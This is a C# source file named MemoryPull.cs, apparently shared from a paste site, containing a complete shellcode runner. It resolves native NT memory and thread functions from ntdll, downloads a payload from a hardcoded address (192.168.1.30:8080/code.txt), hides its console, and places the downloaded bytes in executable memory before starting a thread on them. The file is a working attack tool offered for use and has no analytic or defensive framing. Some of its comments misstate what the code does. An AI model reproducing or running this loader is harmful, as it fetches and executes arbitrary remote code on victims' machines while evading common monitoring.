MemoryPull.cs 5.0 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788
  1. using System;
  2. using System.Diagnostics;
  3. using System.Net;
  4. using System.Runtime.InteropServices;
  5. namespace ShellcodeRunner
  6. {
  7. class Program
  8. {
  9. // NT API Constants
  10. const uint MEM_COMMIT = 0x00001000;
  11. const uint MEM_RESERVE = 0x00002000;
  12. const uint PAGE_EXECUTE_READWRITE = 0x40;
  13. const uint CREATE_SUSPENDED = 0x00000004;
  14. const uint WAIT_INFINITE = 0xFFFFFFFF;
  15. // Function prototypes for NT APIs
  16. delegate int NtAllocateVirtualMemoryDelegate(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref IntPtr RegionSize, uint AllocationType, uint Protect);
  17. delegate int NtFreeVirtualMemoryDelegate(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, uint FreeType);
  18. delegate int NtCreateThreadExDelegate(out IntPtr ThreadHandle, uint DesiredAccess, IntPtr ObjectAttributes, IntPtr ProcessHandle, IntPtr StartAddress, IntPtr Argument, uint CreateFlags, uint ZeroBits, uint StackSize, uint MaximumStackSize, IntPtr AttributeList);
  19. delegate int NtWaitForSingleObjectDelegate(IntPtr Handle, bool Alertable, IntPtr Timeout);
  20. delegate int NtProtectVirtualMemoryDelegate(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, uint NewProtect, out uint OldProtect);
  21. [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
  22. static extern bool FreeConsole();
  23. [DllImport("kernel32.dll")]
  24. static extern IntPtr GetCurrentProcess();
  25. static void Main(string[] args)
  26. {
  27. // Load ntdll.dll module
  28. IntPtr ntdllModule = LoadLibrary("ntdll.dll");
  29. // Get addresses of NT APIs from IAT
  30. IntPtr ntAllocateVirtualMemoryAddr = GetProcAddress(ntdllModule, "NtAllocateVirtualMemory");
  31. IntPtr ntFreeVirtualMemoryAddr = GetProcAddress(ntdllModule, "NtFreeVirtualMemory");
  32. IntPtr ntCreateThreadExAddr = GetProcAddress(ntdllModule, "NtCreateThreadEx");
  33. IntPtr ntWaitForSingleObjectAddr = GetProcAddress(ntdllModule, "NtWaitForSingleObject");
  34. IntPtr ntProtectVirtualMemoryAddr = GetProcAddress(ntdllModule, "NtProtectVirtualMemory");
  35. // Create delegates for NT APIs
  36. NtAllocateVirtualMemoryDelegate ntAllocateVirtualMemory = (NtAllocateVirtualMemoryDelegate)Marshal.GetDelegateForFunctionPointer(ntAllocateVirtualMemoryAddr, typeof(NtAllocateVirtualMemoryDelegate));
  37. NtFreeVirtualMemoryDelegate ntFreeVirtualMemory = (NtFreeVirtualMemoryDelegate)Marshal.GetDelegateForFunctionPointer(ntFreeVirtualMemoryAddr, typeof(NtFreeVirtualMemoryDelegate));
  38. NtCreateThreadExDelegate ntCreateThreadEx = (NtCreateThreadExDelegate)Marshal.GetDelegateForFunctionPointer(ntCreateThreadExAddr, typeof(NtCreateThreadExDelegate));
  39. NtWaitForSingleObjectDelegate ntWaitForSingleObject = (NtWaitForSingleObjectDelegate)Marshal.GetDelegateForFunctionPointer(ntWaitForSingleObjectAddr, typeof(NtWaitForSingleObjectDelegate));
  40. NtProtectVirtualMemoryDelegate ntProtectVirtualMemory = (NtProtectVirtualMemoryDelegate)Marshal.GetDelegateForFunctionPointer(ntProtectVirtualMemoryAddr, typeof(NtProtectVirtualMemoryDelegate));
  41. WebClient client = new WebClient();
  42. string url = "http://192.168.1.30:8080/code.txt";
  43. byte[] shellcode = client.DownloadData(url);
  44. FreeConsole();
  45. IntPtr allocMemAddress = IntPtr.Zero;
  46. IntPtr size = (IntPtr)shellcode.Length;
  47. // Allocate read-write memory using NtAllocateVirtualMemory
  48. int status = ntAllocateVirtualMemory(GetCurrentProcess(), ref allocMemAddress, IntPtr.Zero, ref size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  49. // Copy the shellcode to the allocated memory
  50. Marshal.Copy(shellcode, 0, allocMemAddress, shellcode.Length);
  51. // Change the memory protection to read-execute using NtProtectVirtualMemory
  52. uint oldProtect = 0;
  53. status = ntProtectVirtualMemory(GetCurrentProcess(), ref allocMemAddress, ref size, 0x20, out oldProtect); // NewProtect = PAGE_EXECUTE_READ
  54. IntPtr threadHandle = IntPtr.Zero;
  55. // Create a new thread and execute the shellcode using NtCreateThreadEx
  56. status = ntCreateThreadEx(out threadHandle, 0x1FFFFF, IntPtr.Zero, GetCurrentProcess(), allocMemAddress, IntPtr.Zero, 0, 0, 0, 0, IntPtr.Zero);
  57. // Wait for the thread to finish using NtWaitForSingleObject
  58. ntWaitForSingleObject(threadHandle, false, IntPtr.Zero);
  59. // Free the allocated memory using NtFreeVirtualMemory
  60. status = ntFreeVirtualMemory(GetCurrentProcess(), ref allocMemAddress, ref size, 0x8000); // FreeType = MEM_RELEASE
  61. Console.WriteLine("Shellcode executed");
  62. }
  63. [DllImport("kernel32.dll", SetLastError = true)]
  64. static extern IntPtr LoadLibrary(string lpFileName);
  65. [DllImport("kernel32.dll", SetLastError = true)]
  66. static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
  67. }
  68. }